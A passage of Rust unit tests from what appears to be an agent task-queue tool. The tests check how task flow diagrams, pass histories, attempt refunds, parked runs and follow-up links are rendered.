16883    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16884        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16885        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16886        let first = "2026-10-10T02:00:00Z".parse().unwrap();
16887        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16888        let held = "2026-10-10T04:00:00Z".parse().unwrap();
16889        let run = flow_run(RunStatus::Implementing, |s| {
16890            s.created_at = created;
16891            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16892            s.passes[0].started_at = first;
16893            s.passes[1].started_at = resumed;
16894        });
16895        let mut task = flow_task(&[RUN_X, RUN_X]);
16896        task.created_at = queued;
16897        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16898        task.status = TaskStatus::Held;
16899        task.held_at = Some(held);
16900        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16901        assert_eq!(
16902            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16903            vec![Some(queued), Some(first), Some(resumed), Some(held)]
16904        );
16905        assert!(flow.nodes.iter().all(|n| n.time_expected));
16906        let json = serde_json::to_value(&flow).unwrap();
16907        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16908        assert_eq!(json["nodes"][2]["time_expected"], true);
16909    }
16910
16911    #[test]
16912    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16913        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16914        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16915        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16916        // These timestamps are not the start of the current status.
16917        task.held_at = Some(created);
16918        task.blocked_at = Some(created);
16919        for status in [
16920            TaskStatus::Queued,
16921            TaskStatus::Running,
16922            TaskStatus::Blocked,
16923            TaskStatus::Done,
16924            TaskStatus::Failed,
16925            TaskStatus::Parked,
16926            TaskStatus::Held,
16927        ] {
16928            task.status = status;
16929            if status == TaskStatus::Held {
16930                task.held_at = None;
16931            }
16932            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16933            assert_eq!(flow.nodes[1].started_at, Some(created));
16934            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16935            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16936            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16937            let json = serde_json::to_value(&flow).unwrap();
16938            assert!(json["nodes"][3]["started_at"].is_null());
16939            assert_eq!(json["nodes"][3]["time_expected"], true);
16940        }
16941    }
16942
16943    #[test]
16944    fn flow_context_links_do_not_expect_start_times() {
16945        let mut task = flow_task(&[]);
16946        task.source = Source::Agent {
16947            run: "chat-id".to_owned(),
16948            node: "chat".to_owned(),
16949        };
16950        let origin = followup_origin(&fu(None), |_| None, |_| None);
16951        let flow = task_flow(&task, &[], 5, Some(&origin));
16952        for node in &flow.nodes[..2] {
16953            assert!(!node.time_expected);
16954            assert_eq!(node.started_at, None);
16955        }
16956        assert!(flow.nodes[2].time_expected);
16957    }
16958
16959    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16960        crate::queue::FollowUp {
16961            run: "20260901-000000-aaaa".to_owned(),
16962            origin_task: origin_task.map(str::to_owned),
16963            pr: "https://example.com/o/r/pull/1".to_owned(),
16964            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16965                .map(str::to_owned)
16966                .to_vec(),
16967            generation: 1,
16968        }
16969    }
16970
16971    fn parent_task() -> Task {
16972        let mut p = flow_task(&[]);
16973        p.title = "Parent title".to_owned();
16974        p.status = TaskStatus::Done;
16975        p
16976    }
16977
16978    #[test]
16979    fn flow_opens_with_the_parent_task_of_a_followup() {
16980        let p = parent_task();
16981        let pid = p.id.clone();
16982        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16983        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16984        let n = &f.nodes[0];
16985        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16986        assert_eq!(
16987            n.label,
16988            format!("Follow-up of {}", crate::queue::short(&pid))
16989        );
16990        assert_eq!(n.detail.as_deref(), Some("Parent title"));
16991        assert_eq!(n.status, Some("done"));
16992        assert_eq!(n.status_of, "task");
16993        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16994        assert_eq!(f.nodes[1].key, "start");
16995        assert_eq!(f.edges[0].from, "origin");
16996        assert_eq!(
16997            f.edges[0].label,
16998            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16999        );
17000    }
17001
17002    #[test]
17003    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17004        let o = followup_origin(
17005            &fu(Some("gone")),
17006            |_| None,
17007            |_| {
17008                Some(RunState::new(
17009                    std::path::PathBuf::from("."),
17010                    "main".to_owned(),
17011                    "0".to_owned(),
17012                    "t".to_owned(),
17013                    crate::config::Config::default(),
17014                ))
17015            },
17016        );
17017        assert!(o.parent.is_none());
17018        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17019        let n = &f.nodes[0];
17020        assert_eq!(n.status_of, "run");
17021        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17022        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17023    }
17024
17025    #[test]
17026    fn flow_followup_with_nothing_readable_has_no_link() {
17027        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17028        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17029        let n = &f.nodes[0];
17030        assert_eq!(n.href, None);
17031        assert_eq!(n.note, Some("unreadable"));
17032        assert!(!n.readable);
17033    }
17034
17035    #[test]
17036    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17037        let o = followup_origin(&fu(None), |_| None, |_| None);
17038        let mut t = flow_task(&[]);
17039        t.origin_chat = Some("c1".to_owned());
17040        let f = task_flow(&t, &[], 5, Some(&o));
17041        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17042        t.source = Source::Agent {
17043            run: "c1".to_owned(),
17044            node: crate::queue::CHAT_NODE.to_owned(),
17045        };
17046        let f = task_flow(&t, &[], 5, Some(&o));
17047        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17048        assert_eq!(
17049            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17050            ("chat", "origin")
17051        );
17052    }
17053
17054    #[test]
17055    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17056        let mut p = parent_task();
17057        p.id = "a b/c".to_owned();
17058        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17059        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17060    }
17061
17062    #[test]
17063    fn flow_opens_with_the_chat_that_queued_the_task() {
17064        let mut t = flow_task(&[]);
17065        t.source = Source::Agent {
17066            run: "a b/c".to_owned(),
17067            node: crate::queue::CHAT_NODE.to_owned(),
17068        };
17069        let f = flow_for(&t, &[]);
17070        assert_eq!(f.nodes[0].key, "chat");
17071        assert_eq!(f.nodes[0].kind, "chat");
17072        assert_eq!(
17073            f.nodes[0].label,
17074            format!("Chat {}", crate::queue::short("a b/c"))
17075        );
17076        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17077        assert_eq!(f.nodes[1].key, "start");
17078        assert_eq!(
17079            f.edges[0],
17080            FlowEdge {
17081                from: "chat".to_owned(),
17082                to: "start".to_owned(),
17083                label: "queued from chat".to_owned(),
17084                attempt: AttemptCost::None,
17085            }
17086        );
17087    }
17088
17089    #[test]
17090    fn flow_has_no_chat_box_for_other_sources() {
17091        for source in [
17092            Source::Human,
17093            Source::Issue {
17094                number: 3,
17095                repo: "o/r".to_owned(),
17096            },
17097            Source::Agent {
17098                run: "20260904-014455-ab12".to_owned(),
17099                node: "implement".to_owned(),
17100            },
17101        ] {
17102            let mut t = flow_task(&[]);
17103            t.source = source;
17104            let f = flow_for(&t, &[]);
17105            assert_eq!(f.nodes[0].key, "start");
17106            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17107            assert!(f.edges.iter().all(|e| e.from != "chat"));
17108        }
17109    }
17110
17111    const FA: &str = "20260902-140501-aaaa";
17112    const FB: &str = "20260902-140502-bbbb";
17113
17114    #[test]
17115    fn flow_follows_blocked_retry_merged_to_done() {
17116        let mut t = flow_task(&[FA, FB]);
17117        t.status = TaskStatus::Done;
17118        let f = flow_for(
17119            &t,
17120            &[
17121                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17122                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17123            ],
17124        );
17125        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17126        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17127        assert_eq!(f.edges.len(), 3);
17128        assert_eq!(f.edges[0].label, "claimed");
17129        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17130        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17131        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17132        assert_eq!(
17133            f.nodes[2].href.as_deref(),
17134            Some("#/runs/20260902-140502-bbbb")
17135        );
17136        assert!(f.nodes[2].decided);
17137    }
17138
17139    #[test]
17140    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17141        let quota = || {
17142            flow_run(RunStatus::Stalled, |s| {
17143                s.quota.push(crate::run::QuotaLoss {
17144                    cause: crate::agent::QuotaCause::UsageLimit,
17145                    agent: String::new(),
17146                    seat: "judge-1".to_owned(),
17147                    node: "judge".to_owned(),
17148                    at: Timestamp::now(),
17149                    reset: None,
17150                })
17151            })
17152        };
17153        let mut t = flow_task(&[FA, FA]);
17154        t.status = TaskStatus::Queued;
17155        let f = flow_for(&t, &[(FA, Some(quota()))]);
17156        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17157        assert_eq!(f.nodes[1].note, Some("interrupted"));
17158        assert_eq!(
17159            f.nodes[1].status, None,
17160            "no outcome copied onto an earlier pass"
17161        );
17162        assert_eq!(
17163            f.edges[1].attempt,
17164            AttemptCost::Unknown,
17165            "a resume does not prove the earlier pass was refunded"
17166        );
17167        assert!(f.edges[1].label.contains("resume the same run"));
17168        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17169        assert_eq!(
17170            f.edges[2].label,
17171            "stalled after a resume, refund unknown \u{2192} queued"
17172        );
17173        assert!(!f.nodes[2].decided, "a stall is not a decision");
17174        assert_eq!(f.nodes[2].note, Some("no verdict"));
17175    }
17176
17177    #[test]
17178    fn flow_single_pass_quota_stall_is_refunded() {
17179        let t = flow_task(&[FA]);
17180        let f = flow_for(
17181            &t,
17182            &[(
17183                FA,
17184                Some(flow_run(RunStatus::Stalled, |s| {
17185                    s.quota.push(crate::run::QuotaLoss {
17186                        cause: crate::agent::QuotaCause::UsageLimit,
17187                        agent: String::new(),
17188                        seat: "judge-1".to_owned(),
17189                        node: "judge".to_owned(),
17190                        at: Timestamp::now(),
17191                        reset: None,
17192                    })
17193                })),
17194            )],
17195        );
17196        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17197    }
17198
17199    #[test]
17200    fn flow_parked_refunds_and_stall_without_quota_spends() {
17201        let mut t = flow_task(&[FA]);
17202        t.status = TaskStatus::Queued;
17203        let f = flow_for(
17204            &t,
17205            &[(
17206                FA,
17207                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17208            )],
17209        );
17210        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17211        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17212        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17213        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17214        assert!(!f.nodes[1].decided);
17215    }
17216
17217    #[test]
17218    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17219        let t = flow_task(&[FA, FB]);
17220        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17221        assert_eq!(f.nodes[1].note, Some("unreadable"));
17222        assert!(!f.nodes[1].readable);
17223        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17224        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17225    }
17226
17227    #[test]
17228    fn flow_names_the_branch_of_a_review_only_run() {
17229        let t = flow_task(&[FA]);
17230        let f = flow_for(
17231            &t,
17232            &[(
17233                FA,
17234                Some(flow_run(RunStatus::Merged, |s| {
17235                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17236                })),
17237            )],
17238        );
17239        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17240        assert_eq!(
17241            f.nodes[1].detail.as_deref(),
17242            Some("review-only run of branch magi/x/A")
17243        );
17244    }
17245
17246    #[test]
17247    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17248        let mut t = flow_task(&[FA]);
17249        t.status = TaskStatus::Held;
17250        let pr = crate::run::PrRecord {
17251            url: "https://example.test/pr/1".to_owned(),
17252            number: 1,
17253            state: "open".to_owned(),
17254            checks: "green".to_owned(),
17255            round: 0,
17256            rounds: 3,
17257            red_at_merge: Vec::new(),
17258        };
17259        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17260        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17261        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17262        t.status = TaskStatus::Done;
17263        let f = flow_for(&t, &[(FA, Some(blocked))]);
17264        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17265    }
17266
17267    #[test]
17268    fn flow_with_no_runs_goes_from_queued_to_queued() {
17269        let t = flow_task(&[]);
17270        let f = flow_for(&t, &[]);
17271        assert_eq!(f.nodes.len(), 2);
17272        assert_eq!(f.edges.len(), 1);
17273        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17274        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17275    }
17276
17277    /// A run parked mid-flight keeps a non-terminal status; the page must
17278    /// still say why it stopped and that the attempt came back.
17279    #[test]
17280    fn a_parked_non_terminal_run_is_explained_as_parked() {
17281        let mut s = RunState::new(
17282            PathBuf::from("/repo/magi"),
17283            "main".to_owned(),
17284            "0123456789abcdef".to_owned(),
17285            "Do it".to_owned(),
17286            Config::default(),
17287        );
17288        s.status = RunStatus::Implementing;
17289        s.parked = true;
17290        let task = Task::new(
17291            "t".to_owned(),
17292            "Do it".to_owned(),
17293            PathBuf::from("/repo/magi"),
17294            Source::Human,
17295        );
17296        let v = task_run_view(
17297            "20260902-140501-aaaa",
17298            Some(&s),
17299            RunSlot {
17300                n: 1,
17301                resumed: false,
17302                resumed_later: None,
17303                prior: None,
17304                last: true,
17305                ..RunSlot::default()
17306            },
17307            &task,
17308        );
17309        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17310    }
17311
17312    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17313        let mut s = flow_run(RunStatus::Implementing, edit);
17314        s.parked = false;
17315        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17316        task_run_view(
17317            "20260902-140501-aaaa",
17318            Some(&s),
17319            RunSlot {
17320                n: 1,
17321                resumed: false,
17322                resumed_later: Some(2),
17323                prior: None,
17324                last: false,
17325                ..RunSlot::default()
17326            },
17327            &task,
17328        )
17329    }
17330
17331    #[test]
17332    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17333        let v = earlier_pass_view(|_| {});
17334        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17335        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17336        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17337        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17338        assert_eq!(v.exit, RunExit::Interrupted);
17339        assert_eq!(v.attempt, AttemptCost::Unknown);
17340    }
17341
17342    #[test]
17343    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17344        let v = earlier_pass_view(|s| {
17345            s.quota.push(crate::run::QuotaLoss {
17346                cause: crate::agent::QuotaCause::UsageLimit,
17347                agent: String::new(),
17348                seat: "judge-1".to_owned(),
17349                node: "judge".to_owned(),
17350                at: Timestamp::now(),
17351                reset: None,
17352            });
17353        });
17354        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17355        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17356        assert_eq!(v.attempt, AttemptCost::Unknown);
17357    }
17358
17359    #[test]
17360    fn the_current_pass_states_its_recorded_cause_and_cost() {
17361        let slot = || RunSlot {
17362            n: 1,
17363            resumed: false,
17364            resumed_later: None,
17365            prior: None,
17366            last: true,
17367            ..RunSlot::default()
17368        };
17369        let task = flow_task(&["20260902-140501-aaaa"]);
17370        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17371        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17372        assert_eq!(
17373            (v.exit, v.attempt),
17374            (RunExit::Parked, AttemptCost::Refunded)
17375        );
17376        let spent = flow_run(RunStatus::Blocked, |_| {});
17377        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17378        assert_eq!(v.attempt, AttemptCost::Spent);
17379        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17380    }
17381
17382    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17383        crate::run::RunPass {
17384            index,
17385            started_at: Timestamp::now(),
17386            resumed: index > 0,
17387            ended_at: end.as_ref().map(|_| Timestamp::now()),
17388            end,
17389            task_entry: true,
17390        }
17391    }
17392
17393    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17394        Some(crate::run::PassEnd::Parked { cause })
17395    }
17396
17397    fn upgrade_cause() -> crate::run::ParkCause {
17398        crate::run::ParkCause::Upgrade {
17399            from: "0.121.0".to_owned(),
17400            to: Some("0.121.1".to_owned()),
17401        }
17402    }
17403
17404    fn settled_pass(
17405        run: &str,
17406        index: usize,
17407        cost: crate::queue::PassCost,
17408    ) -> crate::queue::TaskPass {
17409        crate::queue::TaskPass {
17410            run: run.to_owned(),
17411            pass_index: index,
17412            started_at: None,
17413            cost,
17414            attempts_after: 1,
17415            settled_at: Timestamp::now(),
17416            parked: None,
17417        }
17418    }
17419
17420    const RUN_X: &str = "20261011-223708-4334";
17421
17422    #[test]
17423    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17424        use crate::queue::PassCost;
17425        let run = flow_run(RunStatus::Implementing, |s| {
17426            s.passes = vec![
17427                recorded_pass(0, parked(upgrade_cause())),
17428                recorded_pass(1, None),
17429            ];
17430        });
17431        let mut task = flow_task(&[RUN_X, RUN_X]);
17432        task.attempts = 1;
17433        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17434        let h = task_history(&task, |_| Some(run.clone()));
17435        assert_eq!(h.len(), 2);
17436        assert_eq!(h[0].kind, "competition");
17437        assert_eq!(h[1].kind, "resume");
17438        assert_eq!(
17439            (h[0].exit, h[0].attempt),
17440            (RunExit::Parked, AttemptCost::Refunded)
17441        );
17442        assert!(
17443            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17444            "{}",
17445            h[0].outcome
17446        );
17447        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17448        assert!(
17449            h[0].outcome.contains("pass #2 resumed the same run"),
17450            "{}",
17451            h[0].outcome
17452        );
17453        assert!(
17454            h[0].outcome.contains("pass 1 of 2 over run"),
17455            "{}",
17456            h[0].outcome
17457        );
17458        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17459        assert_eq!(
17460            h[0].exit_label,
17461            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17462        );
17463        let f = task_flow(&task, &h, 2, None);
17464        // Two passes of one run, one of two attempts consumed.
17465        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17466        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17467        assert!(
17468            f.edges[1].label.contains("upgrade 0.121.0"),
17469            "{}",
17470            f.edges[1].label
17471        );
17472        assert!(
17473            f.edges[1].label.contains("resume the same run"),
17474            "{}",
17475            f.edges[1].label
17476        );
17477        assert_eq!(f.nodes[1].note, Some("parked"));
17478    }
17479
17480    #[test]
17481    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17482        let mut a = flow_run(RunStatus::Implementing, |s| {
17483            s.passes = vec![
17484                recorded_pass(0, parked(upgrade_cause())),
17485                recorded_pass(1, None),
17486            ];
17487        });
17488        let mut b = flow_run(RunStatus::Failed, |s| {
17489            s.passes = vec![recorded_pass(0, None)];
17490        });
17491        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17492        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17493        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17494        let mut task = flow_task(&[]);
17495        task.start("a".into());
17496        task.start("b".into());
17497        task.start("a".into());
17498        assert_eq!(task.runs, ["b", "a"]);
17499        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17500        let h = task_history(&task, |id| {
17501            Some(if id == "a" { a.clone() } else { b.clone() })
17502        });
17503        assert_eq!(
17504            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17505            ["a", "b", "a"]
17506        );
17507        assert_eq!(h[0].attempt, AttemptCost::Refunded);
17508        assert!(h[0].outcome.contains("upgrade"));
17509        assert_eq!(h[2].kind, "resume");
17510        assert!(h[2].pass.is_some());
17511        // The old repeated-id format must show the same recorded passes.
17512        task.runs = vec!["a".into(), "b".into(), "a".into()];
17513        let old = task_history(&task, |id| {
17514            Some(if id == "a" { a.clone() } else { b.clone() })
17515        });
17516        assert_eq!(
17517            old.iter()
17518                .map(|v| (&v.id, &v.kind, v.attempt))
17519                .collect::<Vec<_>>(),
17520            h.iter()
17521                .map(|v| (&v.id, &v.kind, v.attempt))
17522                .collect::<Vec<_>>()
17523        );
17524    }
17525
17526    #[test]
17527    fn an_upgrade_whose_target_was_not_known_says_so() {
17528        let run = flow_run(RunStatus::Implementing, |s| {
17529            s.passes = vec![
17530                recorded_pass(
17531                    0,
17532                    parked(crate::run::ParkCause::Upgrade {
17533                        from: "0.121.0".to_owned(),
17534                        to: None,
17535                    }),
17536                ),
17537                recorded_pass(1, None),
17538            ];
17539        });
17540        let task = flow_task(&[RUN_X, RUN_X]);
17541        let h = task_history(&task, |_| Some(run.clone()));
17542        assert!(
17543            h[0].outcome.contains("upgrade from 0.121.0"),
17544            "{}",
17545            h[0].outcome
17546        );
17547        // No settle record: the refund is not claimed.
17548        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17549    }
17550
17551    #[test]
17552    fn each_pass_keeps_its_own_cause_across_several_resumes() {
17553        use crate::queue::PassCost;
17554        use crate::run::ParkCause;
17555        let run = flow_run(RunStatus::Implementing, |s| {
17556            s.passes = vec![
17557                recorded_pass(0, parked(upgrade_cause())),
17558                recorded_pass(
17559                    1,
17560                    parked(ParkCause::Interrupt {
17561                        reason: "task a1b2 asked to run first".to_owned(),
17562                    }),
17563                ),
17564                recorded_pass(2, parked(ParkCause::Operator)),
17565                recorded_pass(3, None),
17566            ];
17567        });
17568        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17569        task.attempts = 1;
17570        task.passes = (0..3)
17571            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17572            .collect();
17573        let h = task_history(&task, |_| Some(run.clone()));
17574        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17575        assert!(
17576            h[1].outcome.contains("task a1b2 asked to run first"),
17577            "{}",
17578            h[1].outcome
17579        );
17580        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17581        assert!(
17582            h[2].outcome.contains("operator asked the loop to park"),
17583            "{}",
17584            h[2].outcome
17585        );
17586        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17587        let f = task_flow(&task, &h, 2, None);
17588        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17589    }
17590
17591    #[test]
17592    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17593        let run = flow_run(RunStatus::Implementing, |s| {
17594            s.passes = vec![
17595                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17596                recorded_pass(1, None),
17597            ];
17598        });
17599        let task = flow_task(&[RUN_X, RUN_X]);
17600        let h = task_history(&task, |_| Some(run.clone()));
17601        assert_eq!(h[0].exit, RunExit::Interrupted);
17602        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17603        assert!(
17604            h[0].outcome.contains("without recording why"),
17605            "{}",
17606            h[0].outcome
17607        );
17608        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17609        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17610    }
17611
17612    #[test]
17613    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17614        use crate::queue::PassCost;
17615        // Three entries, but the run only began keeping passes at the last
17616        // two: the first is legacy and must not be given a cause.
17617        let run = flow_run(RunStatus::Implementing, |s| {
17618            s.passes = vec![
17619                recorded_pass(0, parked(upgrade_cause())),
17620                recorded_pass(1, None),
17621            ];
17622        });
17623        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17624        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17625        let h = task_history(&task, |_| Some(run.clone()));
17626        assert!(h[0].pass.is_none());
17627        assert_eq!(h[0].exit, RunExit::Interrupted);
17628        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17629        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17630        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17631        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17632        // A run with no passes at all is entirely unknown.
17633        let legacy = flow_run(RunStatus::Implementing, |_| {});
17634        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17635        assert!(h.iter().all(|v| v.pass.is_none()));
17636        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17637    }
17638
17639    #[test]
17640    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17641        use crate::queue::PassCost;
17642        // Pass 1 is a web-button resume: a pass of the run, no entry of the
17643        // task. The two entries are passes 0 and 2.
17644        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17645        web.task_entry = false;
17646        let run = flow_run(RunStatus::Implementing, |s| {
17647            s.passes = vec![
17648                recorded_pass(0, parked(upgrade_cause())),
17649                web.clone(),
17650                recorded_pass(2, None),
17651            ];
17652        });
17653        let mut task = flow_task(&[RUN_X, RUN_X]);
17654        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17655        let h = task_history(&task, |_| Some(run.clone()));
17656        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17657        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17658
17659        // Legacy first entry, then a web resume that parked for an upgrade,
17660        // then the daemon's pass: the legacy entry must stay unknown.
17661        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17662        web0.task_entry = false;
17663        let run = flow_run(RunStatus::Implementing, |s| {
17664            s.passes = vec![web0.clone(), recorded_pass(1, None)];
17665        });
17666        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17667        assert!(h[0].pass.is_none());
17668        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17669        assert!(h[1].pass.is_some());
17670    }
17671
17672    #[tokio::test]
17673    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17674        let dir = tempfile::tempdir().unwrap();
17675        let queue = Queue::at(dir.path().join("queue"));
17676        let ui = Arc::new(Ui::new(
17677            queue.clone(),
17678            Questions::at(dir.path().join("questions")),
17679            Talks::at(dir.path().join("talks")),
17680            dir.path().join("runs"),
17681            dir.path().to_path_buf(),
17682            dir.path().to_path_buf(),
17683        ));
17684        let mut t = Task::new(
17685            "recover".into(),
17686            "Inspect".into(),
17687            PathBuf::from("."),
17688            Source::Human,
17689        );
17690        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17691        t.start("run-A".into());
17692        t.release_operator("choice", Some("resume-question"));
17693        t.resume_override = Some(crate::queue::OperatorResume {
17694            question_id: "resume-question".into(),
17695            at: jiff::Timestamp::now(),
17696            conductor_rehold: None,
17697            forced: true,
17698            pinned_run: Some("run-A".into()),
17699        });
17700        t.hold_machine(Some("inspection pending".into()));
17701        t.edit("recover".into(), "Reuse approved PR head".into())
17702            .unwrap();
17703        queue.put(&mut t).unwrap();
17704        let mut cli = t.clone();
17705        cli.release_operator("cli", None);
17706        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17707        let reloaded = queue.get(&t.id).unwrap();
17708        assert_eq!(reply.task.status, TaskStatus::Queued);
17709        assert!(reloaded.resume_override.is_none());
17710        assert_eq!(reloaded.answers, t.answers);
17711        let mut web = reloaded.resumption.unwrap();
17712        let cli = cli.resumption.unwrap();
17713        assert_eq!(web.source, "web");
17714        web.source = cli.source.clone();
17715        web.at = cli.at;
17716        assert_eq!(web, cli);
17717    }
17718
17719    #[tokio::test]
17720    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
